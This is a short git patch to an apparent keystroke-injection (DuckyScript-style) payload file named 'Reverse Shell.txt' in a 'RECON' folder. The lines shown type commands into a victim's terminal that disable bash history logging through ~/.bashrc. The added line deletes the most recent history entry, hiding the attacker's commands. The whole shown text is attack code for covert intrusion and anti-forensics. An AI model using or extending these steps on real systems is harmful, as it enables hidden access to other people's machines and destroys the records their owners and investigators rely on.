From b6ef282dc4f6a10efcbfe3f4938cda74b021bdd8 Mon Sep 17 00:00:00 2001 From: Narsty Date: Thu, 22 Jun 2023 23:09:38 -0500 Subject: [PATCH] Update Reverse Shell.txt --- RECON/Reverse Shell.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/RECON/Reverse Shell.txt b/RECON/Reverse Shell.txt index 20cb295..d5a10f4 100644 --- a/RECON/Reverse Shell.txt +++ b/RECON/Reverse Shell.txt @@ -40,6 +40,7 @@ DELAY 1000 ENTER DELAY 1000 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') DELAY 500 ENTER DELAY 500